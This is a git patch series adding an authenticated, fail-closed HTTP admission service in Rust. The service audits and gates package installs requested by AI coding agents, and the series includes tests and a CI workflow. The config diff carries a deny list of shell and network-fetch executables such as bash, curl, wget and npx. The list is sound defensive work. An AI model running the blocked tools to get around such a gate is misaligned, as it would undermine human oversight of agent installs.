'github-actions[bot]' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7 + with: + ref: feat/agent-artifact-admission + fetch-depth: 0 + - uses: dtolnay/rust-toolchain@4be7066ada62dd38de10e7b70166bc74ed198c30 # stable + with: + toolchain: stable + - name: Refresh only the manifest-required lockfile edges + run: cargo check -p wardnet-agent-artifact-admission --tests + - name: Remove the completed one-shot workflow + run: rm .github/workflows/agent-admission-lock-refresh.yml + - name: Commit the lockfile and workflow cleanup + run: | + git config user.name "github-actions[bot]" + git config user.email "41898282+github-actions[bot]@users.noreply.github.com" + git add Cargo.lock .github/workflows/agent-admission-lock-refresh.yml + git diff --cached --check + git commit -m "chore(lock): refresh admission service dependencies" + git push origin HEAD:feat/agent-artifact-admission diff --git a/crates/agent-artifact-admission/Cargo.toml b/crates/agent-artifact-admission/Cargo.toml index c3ff30cf..9acea34b 100644 --- a/crates/agent-artifact-admission/Cargo.toml +++ b/crates/agent-artifact-admission/Cargo.toml @@ -6,7 +6,12 @@ description = "Fail-closed package-install admission policy for AI coding agents license = "MIT" [dependencies] +axum = "0.8" ring = "0.17" serde = { version = "1", features = ["derive"] } serde_json = "1" +tokio = { version = "1", features = ["macros", "net", "rt-multi-thread", "signal"] } url = "2" + +[dev-dependencies] +tower = { version = "0.5", features = ["util"] } diff --git a/crates/agent-artifact-admission/tests/http_contract.rs b/crates/agent-artifact-admission/tests/http_contract.rs new file mode 100644 index 00000000..a04b235c --- /dev/null +++ b/crates/agent-artifact-admission/tests/http_contract.rs @@ -0,0 +1,317 @@ +use std::sync::Arc; + +use axum::{ + body::{Body, to_bytes}, + http::{HeaderValue, Request, StatusCode, header::CONTENT_TYPE}, +}; +use serde::de::DeserializeOwned; +use tower::ServiceExt; +use wardnet_agent_artifact_admission::{ + AdmissionDecision, AdmissionPolicy, AdmissionState, ApprovedArtifact, ApprovedManifest, + AuditError, AuditRecord, AuditSink, DecisionKind, InstallIntent, MemoryAuditSink, ReasonCode, + build_app, +}; + +const ADMIN_TOKEN: &str = "0123456789abcdef0123456789abcdef"; + +fn digest(byte: char) -> String { + std::iter::repeat_n(byte, 64).collect() +} + +fn approved_policy() -> AdmissionPolicy { + AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-08-29.2".to_string(), + allowed_executables: vec!["npm".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: digest('a'), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: "npm".to_string(), + name: "@unowned/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "Unowned".to_string(), + sha256: digest('c'), + artifact_argument: "@unowned/example@1.2.3".to_string(), + }], + } +} + +fn approved_intent() -> InstallIntent { + InstallIntent::unowned_llms_package_for_test() +} + +fn state( + policy: AdmissionPolicy, + sink: Arc, + max_request_body_bytes: usize, +) -> AdmissionState { + AdmissionState::new( + policy, + ADMIN_TOKEN.to_string(), + sink, + max_request_body_bytes, + ) +} + +fn admission_request(body: Vec, token: Option) -> Request { + let mut request = Request::builder() + .method("POST") + .uri("/v1/admissions") + .header(CONTENT_TYPE, "application/json") + .body(Body::from(body)) + .expect("request must build"); + if let Some(token) = token { + request.headers_mut().append("x-admin-token", token); + } + request +} + +fn policy_request(token: Option) -> Request { + let mut request = Request::builder() + .method("GET") + .uri("/v1/policy") + .body(Body::empty()) + .expect("request must build"); + if let Some(token) = token { + request.headers_mut().append("x-admin-token", token); + } + request +} + +async fn decode_json(response: axum::response::Response) -> T { + let bytes = to_bytes(response.into_body(), 1024 * 1024) + .await + .expect("response body must be readable"); + serde_json::from_slice(&bytes).expect("response body must be JSON") +} + +#[tokio::test] +async fn policy_endpoint_rejects_missing_duplicate_wrong_non_ascii_and_oversized_tokens() { + let sink = Arc::new(MemoryAuditSink::default()); + let app = build_app(state(approved_policy(), sink, 64 * 1024)); + + let mut cases = vec![ + policy_request(None), + policy_request(Some(HeaderValue::from_static( + "fedcba9876543210fedcba9876543210", + ))), + policy_request(Some(HeaderValue::from_static( + "0123456789abcdef0123456789abcdefx", + ))), + policy_request(Some(HeaderValue::from_static(""))), + policy_request(Some( + HeaderValue::from_str(&"x".repeat(4097)).expect("oversized test header must build"), + )), + ]; + + let non_ascii = vec![0x80; 32]; + cases.push(policy_request(Some( + HeaderValue::from_bytes(&non_ascii).expect("obs-text test header must build"), + ))); + + let mut duplicate = policy_request(Some(HeaderValue::from_static(ADMIN_TOKEN))); + duplicate + .headers_mut() + .append("x-admin-token", HeaderValue::from_static(ADMIN_TOKEN)); + cases.push(duplicate); + + for request in cases { + let response = app + .clone() + .oneshot(request) + .await + .expect("router must answer"); + assert_eq!(response.status(), StatusCode::UNAUTHORIZED); + } + + let response = app + .oneshot(policy_request(Some(HeaderValue::from_static(ADMIN_TOKEN)))) + .await + .expect("router must answer"); + assert_eq!(response.status(), StatusCode::OK); + let returned: AdmissionPolicy = decode_json(response).await; + assert_eq!(returned, approved_policy()); +} + +#[tokio::test] +async fn health_is_unauthenticated_and_exposes_only_policy_identity_and_counts() { + let sink = Arc::new(MemoryAuditSink::default()); + let app = build_app(state(approved_policy(), sink, 64 * 1024)); + let request = Request::builder() + .uri("/healthz") + .body(Body::empty()) + .expect("request must build"); + + let response = app.oneshot(request).await.expect("router must answer"); + + assert_eq!(response.status(), StatusCode::OK); + let body: serde_json::Value = decode_json(response).await; + assert_eq!(body["status"], "ok"); + assert_eq!(body["policy_id"], "enterprise-default"); + assert_eq!(body["policy_revision"], "2026-08-29.2"); + assert_eq!(body["approved_manifest_count"], 1); + assert_eq!(body["approved_artifact_count"], 1); + assert!(body.get("admin_token").is_none()); +} + +#[tokio::test] +async fn candidate_allow_is_returned_only_after_audit_append() { + let sink = Arc::new(MemoryAuditSink::default()); + let app = build_app(state(approved_policy(), sink.clone(), 64 * 1024)); + let body = serde_json::to_vec(&approved_intent()).expect("intent must serialize"); + + let response = app + .oneshot(admission_request( + body, + Some(HeaderValue::from_static(ADMIN_TOKEN)), + )) + .await + .expect("router must answer"); + + assert_eq!(response.status(), StatusCode::OK); + let decision: AdmissionDecision = decode_json(response).await; + assert_eq!(decision.decision, DecisionKind::Allow); + let records = sink.records().expect("audit snapshot must succeed"); + assert_eq!(records.len(), 1); + assert_eq!(records[0].decision, DecisionKind::Allow); + assert_eq!(records[0].request_id, decision.request_id); +} + +#[tokio::test] +async fn policy_block_is_a_durable_http_200_decision() { + let sink = Arc::new(MemoryAuditSink::default()); + let app = build_app(state( + AdmissionPolicy::deny_all_for_test(), + sink.clone(), + 64 * 1024, + )); + let body = serde_json::to_vec(&approved_intent()).expect("intent must serialize"); + + let response = app + .oneshot(admission_request( + body, + Some(HeaderValue::from_static(ADMIN_TOKEN)), + )) + .await + .expect("router must answer"); + + assert_eq!(response.status(), StatusCode::OK); + let decision: AdmissionDecision = decode_json(response).await; + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + ); + let records = sink.records().expect("audit snapshot must succeed"); + assert_eq!(records.len(), 1); + assert_eq!(records[0].decision, DecisionKind::Block); +} + +#[tokio::test] +async fn malformed_authenticated_json_is_audited_before_bad_request() { + let sink = Arc::new(MemoryAuditSink::default()); + let app = build_app(state(approved_policy(), sink.clone(), 64 * 1024)); + + let response = app + .oneshot(admission_request( + br#"{"request_id":"unfinished""#.to_vec(), + Some(HeaderValue::from_static(ADMIN_TOKEN)), + )) + .await + .expect("router must answer"); + + assert_eq!(response.status(), StatusCode::BAD_REQUEST); + let decision: AdmissionDecision = decode_json(response).await; + assert_eq!(decision.decision, DecisionKind::Block); + assert!(decision.reason_codes.contains(&ReasonCode::MalformedRequest)); + let records = sink.records().expect("audit snapshot must succeed"); + assert_eq!(records.len(), 1); + assert!(records[0].request_id.starts_with("malformed:")); + assert!( + records[0] + .reason_codes + .contains(&ReasonCode::MalformedRequest) + ); +} + +#[tokio::test] +async fn structurally_invalid_authenticated_intent_is_audited_and_returns_bad_request() { + let sink = Arc::new(MemoryAuditSink::default()); + let app = build_app(state(approved_policy(), sink.clone(), 64 * 1024)); + let mut intent = approved_intent(); + intent.operation = "execute".to_string(); + + let response = app + .oneshot(admission_request( + serde_json::to_vec(&intent).expect("intent must serialize"), + Some(HeaderValue::from_static(ADMIN_TOKEN)), + )) + .await + .expect("router must answer"); + + assert_eq!(response.status(), StatusCode::BAD_REQUEST); + let decision: AdmissionDecision = decode_json(response).await; + assert_eq!(decision.decision, DecisionKind::Block); + assert!(decision.reason_codes.contains(&ReasonCode::InvalidOperation)); + let records = sink.records().expect("audit snapshot must succeed"); + assert_eq!(records.len(), 1); + assert!( + records[0] + .reason_codes + .contains(&ReasonCode::InvalidOperation) + ); +} + +struct FailingAuditSink; + +impl AuditSink for FailingAuditSink { + fn append(&self, _record: &AuditRecord) -> Result<(), AuditError> { + Err(AuditError::StorageUnavailable) + } +} + +#[tokio::test] +async fn audit_outage_converts_candidate_allow_and_block_to_service_unavailable() { + for policy in [approved_policy(), AdmissionPolicy::deny_all_for_test()] { + let app = build_app(state(policy, Arc::new(FailingAuditSink), 64 * 1024)); + let body = serde_json::to_vec(&approved_intent()).expect("intent must serialize"); + + let response = app + .oneshot(admission_request( + body, + Some(HeaderValue::from_static(ADMIN_TOKEN)), + )) + .await + .expect("router must answer"); + + assert_eq!(response.status(), StatusCode::SERVICE_UNAVAILABLE); + let decision: AdmissionDecision = decode_json(response).await; + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!(decision.reason_codes, vec![ReasonCode::AuditUnavailable]); + } +} + +#[tokio::test] +async fn configured_body_limit_returns_payload_too_large_without_an_audit_record() { + let sink = Arc::new(MemoryAuditSink::default()); + let app = build_app(state(approved_policy(), sink.clone(), 32)); + + let response = app + .oneshot(admission_request( + vec![b'x'; 128], + Some(HeaderValue::from_static(ADMIN_TOKEN)), + )) + .await + .expect("router must answer"); + + assert_eq!(response.status(), StatusCode::PAYLOAD_TOO_LARGE); + assert!( + sink.records() + .expect("audit snapshot must succeed") + .is_empty() + ); +} From 2e882b7658ff26903d61b9bc0281cef9f48d6ae7 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 29 Aug 2026 05:18:35 -0700 Subject: [PATCH 017/247] feat(security): expose authenticated artifact admission service --- .../agent-admission-lock-refresh.yml | 10 +- crates/agent-artifact-admission/src/audit.rs | 135 ++++++-- crates/agent-artifact-admission/src/config.rs | 63 +--- crates/agent-artifact-admission/src/http.rs | 305 ++++++++++++++++++ crates/agent-artifact-admission/src/lib.rs | 8 +- crates/agent-artifact-admission/src/main.rs | 15 + crates/agent-artifact-admission/src/model.rs | 31 +- crates/agent-artifact-admission/src/policy.rs | 292 +++++++++++++++-- .../tests/audit_contract.rs | 13 +- tests/agent_artifact_admission_red.rs | 23 -- 10 files changed, 742 insertions(+), 153 deletions(-) create mode 100644 crates/agent-artifact-admission/src/http.rs create mode 100644 crates/agent-artifact-admission/src/main.rs delete mode 100644 tests/agent_artifact_admission_red.rs diff --git a/.github/workflows/agent-admission-lock-refresh.yml b/.github/workflows/agent-admission-lock-refresh.yml index 3d6af80e..d33a3c41 100644 --- a/.github/workflows/agent-admission-lock-refresh.yml +++ b/.github/workflows/agent-admission-lock-refresh.yml @@ -1,4 +1,4 @@ -name: Refresh agent admission lockfile +name: Verify and refresh agent admission lockfile on: push: @@ -6,13 +6,15 @@ on: - feat/agent-artifact-admission paths: - crates/agent-artifact-admission/Cargo.toml + - crates/agent-artifact-admission/src/** + - crates/agent-artifact-admission/tests/** - .github/workflows/agent-admission-lock-refresh.yml permissions: contents: write jobs: - refresh-lockfile: + verify-and-refresh: if: github.actor != 'github-actions[bot]' runs-on: ubuntu-latest steps: @@ -23,8 +25,8 @@ jobs: - uses: dtolnay/rust-toolchain@4be7066ada62dd38de10e7b70166bc74ed198c30 # stable with: toolchain: stable - - name: Refresh only the manifest-required lockfile edges - run: cargo check -p wardnet-agent-artifact-admission --tests + - name: Verify the focused service and refresh its lockfile edges + run: cargo test -p wardnet-agent-artifact-admission --tests - name: Remove the completed one-shot workflow run: rm .github/workflows/agent-admission-lock-refresh.yml - name: Commit the lockfile and workflow cleanup diff --git a/crates/agent-artifact-admission/src/audit.rs b/crates/agent-artifact-admission/src/audit.rs index 4ca5f390..bea1f419 100644 --- a/crates/agent-artifact-admission/src/audit.rs +++ b/crates/agent-artifact-admission/src/audit.rs @@ -7,9 +7,12 @@ use std::time::{SystemTime, UNIX_EPOCH}; use serde::{Deserialize, Serialize}; +use crate::policy::{ + auditable_identifier, canonical_registry_url, normalize_https_source_uri, valid_text_field, +}; use crate::{ - AdmissionDecision, ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSourceKind, - ReasonCode, + AdmissionDecision, AdmissionPolicy, ArtifactCoordinate, DecisionKind, InstallIntent, + InstructionSourceKind, ReasonCode, is_sha256_hex, sha256_hex, }; const MAX_AUDIT_LINE_BYTES: usize = 64 * 1024; @@ -32,15 +35,24 @@ pub struct AuditArtifact { pub sha256: String, } -impl From<&ArtifactCoordinate> for AuditArtifact { - fn from(artifact: &ArtifactCoordinate) -> Self { +impl AuditArtifact { + fn from_coordinate(artifact: &ArtifactCoordinate) -> Self { Self { - ecosystem: artifact.ecosystem.clone(), - name: artifact.name.clone(), - version: artifact.version.clone(), - registry_url: artifact.registry_url.clone(), - owner: artifact.owner.clone(), - sha256: artifact.sha256.clone(), + ecosystem: auditable_identifier("ecosystem", &artifact.ecosystem, 64), + name: auditable_identifier("artifact", &artifact.name, 512), + version: auditable_identifier("version", &artifact.version, 256), + registry_url: canonical_registry_url(&artifact.registry_url).unwrap_or_else(|| { + format!( + "registry:sha256:{}", + sha256_hex(artifact.registry_url.as_bytes()) + ) + }), + owner: auditable_identifier("owner", &artifact.owner, 512), + sha256: if is_sha256_hex(&artifact.sha256) { + artifact.sha256.clone() + } else { + sha256_hex(artifact.sha256.as_bytes()) + }, } } } @@ -51,11 +63,11 @@ impl From<&ArtifactCoordinate> for AuditArtifact { pub struct AuditRecord { /// Milliseconds since the Unix epoch when the record was constructed. pub timestamp_unix_ms: u128, - /// Caller-supplied stable request identifier. + /// Caller-supplied stable request identifier or a malformed-body surrogate. pub request_id: String, - /// Identity of the requesting agent or broker. + /// Identity of the requesting agent or broker when available. pub actor_id: String, - /// Workspace or repository identifier. + /// Workspace or repository identifier when available. pub workspace_id: String, /// Structured operation, such as `install`. pub operation: String, @@ -68,15 +80,17 @@ pub struct AuditRecord { /// Immutable policy revision identifier. pub policy_revision: String, /// Instruction-source kind without untrusted raw content. - pub source_kind: InstructionSourceKind, + pub source_kind: Option, /// Source URI after removing query and fragment data. pub normalized_source_uri: Option, - /// SHA-256 digest of remote source content when supplied. + /// SHA-256 digest of remote source content when supplied and valid. pub source_content_sha256: Option, - /// SHA-256 digest of the structured command vector; raw argv is never persisted. + /// SHA-256 digest of the structured command vector or malformed body. pub command_sha256: String, - /// Reviewed dependency-manifest digest supplied with the request. - pub manifest_sha256: String, + /// SHA-256 digest of a malformed authenticated request body when parsing failed. + pub request_body_sha256: Option, + /// Reviewed dependency-manifest digest supplied with a parsed request. + pub manifest_sha256: Option, /// Content-addressed artifact coordinates with no command argument token. pub artifacts: Vec, } @@ -185,25 +199,78 @@ impl AuditSink for MemoryAuditSink { } } -/// Build minimized audit evidence from an admission request and its deterministic decision. -pub fn build_audit_record(intent: &InstallIntent, decision: &AdmissionDecision) -> AuditRecord { - AuditRecord { - timestamp_unix_ms: unix_timestamp_ms().unwrap_or_default(), - request_id: intent.request_id.clone(), - actor_id: intent.actor_id.clone(), - workspace_id: intent.workspace_id.clone(), - operation: intent.operation.clone(), +/// Build minimized audit evidence from a parsed admission request and its decision. +pub fn build_audit_record( + intent: &InstallIntent, + decision: &AdmissionDecision, +) -> Result { + Ok(AuditRecord { + timestamp_unix_ms: unix_timestamp_ms()?, + request_id: auditable_identifier("request", &intent.request_id, 256), + actor_id: auditable_identifier("actor", &intent.actor_id, 512), + workspace_id: auditable_identifier("workspace", &intent.workspace_id, 512), + operation: if valid_text_field(&intent.operation, 32) { + intent.operation.clone() + } else { + "invalid".to_string() + }, decision: decision.decision, reason_codes: decision.reason_codes.clone(), - policy_id: decision.policy_id.clone(), - policy_revision: decision.policy_revision.clone(), - source_kind: intent.source.kind, - normalized_source_uri: decision.normalized_source_uri.clone(), - source_content_sha256: intent.source.content_sha256.clone(), + policy_id: auditable_identifier("policy", &decision.policy_id, 256), + policy_revision: auditable_identifier("policy_revision", &decision.policy_revision, 256), + source_kind: Some(intent.source.kind), + normalized_source_uri: intent + .source + .uri + .as_deref() + .and_then(normalize_https_source_uri), + source_content_sha256: intent + .source + .content_sha256 + .as_ref() + .filter(|digest| is_sha256_hex(digest)) + .cloned(), command_sha256: decision.command_sha256.clone(), - manifest_sha256: intent.manifest_sha256.clone(), - artifacts: intent.artifacts.iter().map(AuditArtifact::from).collect(), - } + request_body_sha256: None, + manifest_sha256: is_sha256_hex(&intent.manifest_sha256) + .then(|| intent.manifest_sha256.clone()), + artifacts: intent + .artifacts + .iter() + .take(64) + .map(AuditArtifact::from_coordinate) + .collect(), + }) +} + +/// Build minimized evidence for authenticated JSON that failed strict parsing. +pub fn build_malformed_audit_record( + policy: &AdmissionPolicy, + request_body_sha256: &str, +) -> Result { + let digest = if is_sha256_hex(request_body_sha256) { + request_body_sha256.to_string() + } else { + sha256_hex(request_body_sha256.as_bytes()) + }; + Ok(AuditRecord { + timestamp_unix_ms: unix_timestamp_ms()?, + request_id: format!("malformed:{digest}"), + actor_id: "unavailable".to_string(), + workspace_id: "unavailable".to_string(), + operation: "unavailable".to_string(), + decision: DecisionKind::Block, + reason_codes: vec![ReasonCode::MalformedRequest], + policy_id: auditable_identifier("policy", &policy.policy_id, 256), + policy_revision: auditable_identifier("policy_revision", &policy.policy_revision, 256), + source_kind: None, + normalized_source_uri: None, + source_content_sha256: None, + command_sha256: digest.clone(), + request_body_sha256: Some(digest), + manifest_sha256: None, + artifacts: Vec::new(), + }) } fn encode_record(record: &AuditRecord) -> Result, AuditError> { diff --git a/crates/agent-artifact-admission/src/config.rs b/crates/agent-artifact-admission/src/config.rs index ffcd808e..6d8dfed5 100644 --- a/crates/agent-artifact-admission/src/config.rs +++ b/crates/agent-artifact-admission/src/config.rs @@ -6,8 +6,11 @@ use std::net::SocketAddr; use std::path::Path; use serde::{Deserialize, Serialize}; -use url::Url; +use crate::policy::{ + canonical_registry_url, is_permanently_forbidden_executable, supported_executable, + valid_pinned_version, valid_text_field, +}; use crate::{AdmissionPolicy, is_sha256_hex}; const MAX_CONFIG_FILE_BYTES: u64 = 1024 * 1024; @@ -167,6 +170,7 @@ fn validate_policy(policy: &AdmissionPolicy) -> Result<(), ConfigError> { let mut executables = BTreeSet::new(); for executable in &policy.allowed_executables { if !valid_executable(executable) + || !supported_executable(executable) || is_permanently_forbidden_executable(executable) || !executables.insert(executable.as_str()) { @@ -189,7 +193,7 @@ fn validate_policy(policy: &AdmissionPolicy) -> Result<(), ConfigError> { if !valid_text_field(&artifact.ecosystem, 64) || !valid_text_field(&artifact.name, 512) || !valid_pinned_version(&artifact.version) - || !valid_https_registry(&artifact.registry_url) + || canonical_registry_url(&artifact.registry_url).is_none() || !valid_text_field(&artifact.owner, 512) || !is_sha256_hex(&artifact.sha256) || !valid_text_field(&artifact.artifact_argument, 1024) @@ -198,6 +202,9 @@ fn validate_policy(policy: &AdmissionPolicy) -> Result<(), ConfigError> { artifact.name.as_str(), artifact.version.as_str(), artifact.registry_url.as_str(), + artifact.owner.as_str(), + artifact.sha256.as_str(), + artifact.artifact_argument.as_str(), )) { return Err(ConfigError::InvalidConfiguration); @@ -220,12 +227,9 @@ fn validate_admin_token(token: &str) -> Result<(), ConfigError> { Ok(()) } -fn valid_text_field(value: &str, maximum_bytes: usize) -> bool { - !value.is_empty() && value.len() <= maximum_bytes && !value.chars().any(char::is_control) -} - fn valid_executable(value: &str) -> bool { valid_text_field(value, 128) + && value == value.to_ascii_lowercase() && !value.contains('/') && !value.contains('\\') && value @@ -233,53 +237,6 @@ fn valid_executable(value: &str) -> bool { .all(|byte| byte.is_ascii_alphanumeric() || matches!(byte, b'-' | b'_' | b'.' | b'+')) } -fn is_permanently_forbidden_executable(executable: &str) -> bool { - matches!( - executable, - "sh" | "bash" - | "zsh" - | "cmd" - | "powershell" - | "pwsh" - | "curl" - | "wget" - | "aria2c" - | "ftp" - | "scp" - | "npx" - | "pnpx" - | "bunx" - ) -} - -fn valid_pinned_version(version: &str) -> bool { - if !valid_text_field(version, 256) { - return false; - } - let lowercase = version.to_ascii_lowercase(); - if matches!( - lowercase.as_str(), - "latest" | "main" | "master" | "head" | "stable" | "next" - ) { - return false; - } - !version - .chars() - .any(|character| character.is_whitespace() || "*^~<>=,|".contains(character)) -} - -fn valid_https_registry(registry_url: &str) -> bool { - let Ok(url) = Url::parse(registry_url) else { - return false; - }; - url.scheme() == "https" - && url.host_str().is_some() - && url.username().is_empty() - && url.password().is_none() - && url.query().is_none() - && url.fragment().is_none() -} - fn read_bounded(path: &Path, maximum_bytes: u64) -> Result, ConfigError> { let file = File::open(path).map_err(|_| ConfigError::Io)?; let mut bytes = Vec::new(); diff --git a/crates/agent-artifact-admission/src/http.rs b/crates/agent-artifact-admission/src/http.rs new file mode 100644 index 00000000..d6cf185a --- /dev/null +++ b/crates/agent-artifact-admission/src/http.rs @@ -0,0 +1,305 @@ +use std::fmt; +use std::future::pending; +use std::net::SocketAddr; +use std::path::Path; +use std::sync::Arc; + +use axum::{ + Json, Router, + body::Bytes, + extract::{DefaultBodyLimit, State}, + http::{HeaderMap, StatusCode}, + response::{IntoResponse, Response}, + routing::{get, post}, +}; +use serde::Serialize; +use tokio::net::TcpListener; + +use crate::{ + AdmissionDecision, AdmissionPolicy, AdmissionServiceConfig, AuditRecord, AuditSink, + DecisionKind, FileAuditSink, InstallIntent, ReasonCode, admission_decision, + build_audit_record, build_malformed_audit_record, load_admin_token, load_config, parse_cli_args, + sha256_hex, validate_install_intent, +}; + +const MAX_ADMIN_TOKEN_BYTES: usize = 4096; +const TOKEN_COMPARISON_BYTES: usize = MAX_ADMIN_TOKEN_BYTES + 2; + +/// Shared immutable state for the loopback-only admission HTTP service. +#[derive(Clone)] +pub struct AdmissionState { + policy: Arc, + admin_token: Arc, + audit_sink: Arc, + max_request_body_bytes: usize, +} + +impl AdmissionState { + /// Construct service state from validated policy, credential, and audit dependencies. + pub fn new( + policy: AdmissionPolicy, + admin_token: String, + audit_sink: Arc, + max_request_body_bytes: usize, + ) -> Self { + Self { + policy: Arc::new(policy), + admin_token: Arc::from(admin_token), + audit_sink, + max_request_body_bytes, + } + } +} + +/// Stable process-level service failure that never exposes paths, tokens, or request content. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum ServiceError { + /// Configuration or credential loading failed. + Configuration, + /// The validated loopback listener could not be bound. + Bind, + /// The HTTP server terminated with an error. + Serve, +} + +impl fmt::Display for ServiceError { + fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result { + let message = match self { + Self::Configuration => "agent artifact admission configuration failed", + Self::Bind => "agent artifact admission listener failed", + Self::Serve => "agent artifact admission service failed", + }; + formatter.write_str(message) + } +} + +impl std::error::Error for ServiceError {} + +/// Build the authenticated admission router with its configured request-body limit. +pub fn build_app(state: AdmissionState) -> Router { + let max_request_body_bytes = state.max_request_body_bytes; + Router::new() + .route("/healthz", get(healthz)) + .route("/v1/policy", get(get_policy)) + .route("/v1/admissions", post(create_admission)) + .layer(DefaultBodyLimit::max(max_request_body_bytes)) + .with_state(state) +} + +/// Run the standalone loopback service from a validated configuration and credential. +pub async fn run_service( + config: AdmissionServiceConfig, + admin_token: String, +) -> Result<(), ServiceError> { + let address: SocketAddr = config + .bind_address + .parse() + .map_err(|_| ServiceError::Configuration)?; + if !address.ip().is_loopback() || address.port() == 0 { + return Err(ServiceError::Configuration); + } + + let audit_sink: Arc = Arc::new(FileAuditSink::new(config.audit_log_path)); + let state = AdmissionState::new( + config.policy, + admin_token, + audit_sink, + config.max_request_body_bytes, + ); + let listener = TcpListener::bind(address) + .await + .map_err(|_| ServiceError::Bind)?; + axum::serve(listener, build_app(state)) + .with_graceful_shutdown(shutdown_signal()) + .await + .map_err(|_| ServiceError::Serve) +} + +/// Parse strict CLI arguments, load bounded files, and run the standalone service. +pub async fn run_cli(args: &[String]) -> Result<(), ServiceError> { + let cli = parse_cli_args(args).map_err(|_| ServiceError::Configuration)?; + let config = load_config(Path::new(&cli.config_path)).map_err(|_| ServiceError::Configuration)?; + let token = load_admin_token(Path::new(&cli.credentials_path)) + .map_err(|_| ServiceError::Configuration)?; + run_service(config, token).await +} + +#[derive(Serialize)] +struct HealthView { + status: &'static str, + policy_id: String, + policy_revision: String, + allowed_executable_count: usize, + approved_manifest_count: usize, + approved_artifact_count: usize, +} + +#[derive(Serialize)] +struct ErrorView { + error: &'static str, +} + +async fn healthz(State(state): State) -> Json { + Json(HealthView { + status: "ok", + policy_id: state.policy.policy_id.clone(), + policy_revision: state.policy.policy_revision.clone(), + allowed_executable_count: state.policy.allowed_executables.len(), + approved_manifest_count: state.policy.approved_manifests.len(), + approved_artifact_count: state.policy.approved_artifacts.len(), + }) +} + +async fn get_policy(State(state): State, headers: HeaderMap) -> Response { + if !authenticated(&headers, &state.admin_token) { + return unauthorized(); + } + Json((*state.policy).clone()).into_response() +} + +async fn create_admission( + State(state): State, + headers: HeaderMap, + body: Bytes, +) -> Response { + if !authenticated(&headers, &state.admin_token) { + return unauthorized(); + } + + let intent = match serde_json::from_slice::(&body) { + Ok(intent) => intent, + Err(_) => return malformed_request_response(&state, &body).await, + }; + + let structural_reasons = validate_install_intent(&intent); + let decision = admission_decision(&state.policy, &intent); + let response_status = if structural_reasons.is_empty() { + StatusCode::OK + } else { + StatusCode::BAD_REQUEST + }; + let record = match build_audit_record(&intent, &decision) { + Ok(record) => record, + Err(_) => return audit_unavailable_response(&decision), + }; + append_before_response(&state, record, decision, response_status).await +} + +async fn malformed_request_response(state: &AdmissionState, body: &[u8]) -> Response { + let body_digest = sha256_hex(body); + let decision = malformed_decision(&state.policy, &body_digest); + let record = match build_malformed_audit_record(&state.policy, &body_digest) { + Ok(record) => record, + Err(_) => return audit_unavailable_response(&decision), + }; + append_before_response(state, record, decision, StatusCode::BAD_REQUEST).await +} + +async fn append_before_response( + state: &AdmissionState, + record: AuditRecord, + decision: AdmissionDecision, + status: StatusCode, +) -> Response { + let sink = state.audit_sink.clone(); + let append_result = tokio::task::spawn_blocking(move || sink.append(&record)).await; + match append_result { + Ok(Ok(())) => (status, Json(decision)).into_response(), + Ok(Err(_)) | Err(_) => audit_unavailable_response(&decision), + } +} + +fn malformed_decision(policy: &AdmissionPolicy, body_digest: &str) -> AdmissionDecision { + AdmissionDecision { + request_id: format!("malformed:{body_digest}"), + decision: DecisionKind::Block, + reason_codes: vec![ReasonCode::MalformedRequest], + policy_id: policy.policy_id.clone(), + policy_revision: policy.policy_revision.clone(), + normalized_source_uri: None, + command_sha256: body_digest.to_string(), + artifact_count: 0, + } +} + +fn audit_unavailable_response(candidate: &AdmissionDecision) -> Response { + let blocked = AdmissionDecision { + request_id: candidate.request_id.clone(), + decision: DecisionKind::Block, + reason_codes: vec![ReasonCode::AuditUnavailable], + policy_id: candidate.policy_id.clone(), + policy_revision: candidate.policy_revision.clone(), + normalized_source_uri: candidate.normalized_source_uri.clone(), + command_sha256: candidate.command_sha256.clone(), + artifact_count: candidate.artifact_count, + }; + (StatusCode::SERVICE_UNAVAILABLE, Json(blocked)).into_response() +} + +fn unauthorized() -> Response { + ( + StatusCode::UNAUTHORIZED, + Json(ErrorView { + error: "unauthorized", + }), + ) + .into_response() +} + +fn authenticated(headers: &HeaderMap, configured: &str) -> bool { + let mut values = headers.get_all("x-admin-token").iter(); + let Some(value) = values.next() else { + return false; + }; + if values.next().is_some() { + return false; + } + let Ok(presented) = value.to_str() else { + return false; + }; + constant_time_token_equal(presented, configured) +} + +fn constant_time_token_equal(presented: &str, configured: &str) -> bool { + if presented.len() > MAX_ADMIN_TOKEN_BYTES + || configured.len() > MAX_ADMIN_TOKEN_BYTES + || !presented + .as_bytes() + .iter() + .all(|byte| (0x21..=0x7e).contains(byte)) + { + return false; + } + + let mut presented_buffer = [0_u8; TOKEN_COMPARISON_BYTES]; + let mut configured_buffer = [0_u8; TOKEN_COMPARISON_BYTES]; + presented_buffer[..2].copy_from_slice(&(presented.len() as u16).to_be_bytes()); + configured_buffer[..2].copy_from_slice(&(configured.len() as u16).to_be_bytes()); + presented_buffer[2..2 + presented.len()].copy_from_slice(presented.as_bytes()); + configured_buffer[2..2 + configured.len()].copy_from_slice(configured.as_bytes()); + + ring::constant_time::verify_slices_are_equal(&presented_buffer, &configured_buffer).is_ok() +} + +async fn shutdown_signal() { + #[cfg(unix)] + { + let terminate = async { + match tokio::signal::unix::signal(tokio::signal::unix::SignalKind::terminate()) { + Ok(mut signal) => { + let _ = signal.recv().await; + } + Err(_) => pending::<()>().await, + } + }; + tokio::select! { + _ = tokio::signal::ctrl_c() => {} + _ = terminate => {} + } + } + + #[cfg(not(unix))] + { + let _ = tokio::signal::ctrl_c().await; + } +} diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 023a1a85..967ca25f 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -2,19 +2,23 @@ mod audit; mod config; +mod http; mod model; mod policy; pub use audit::{ 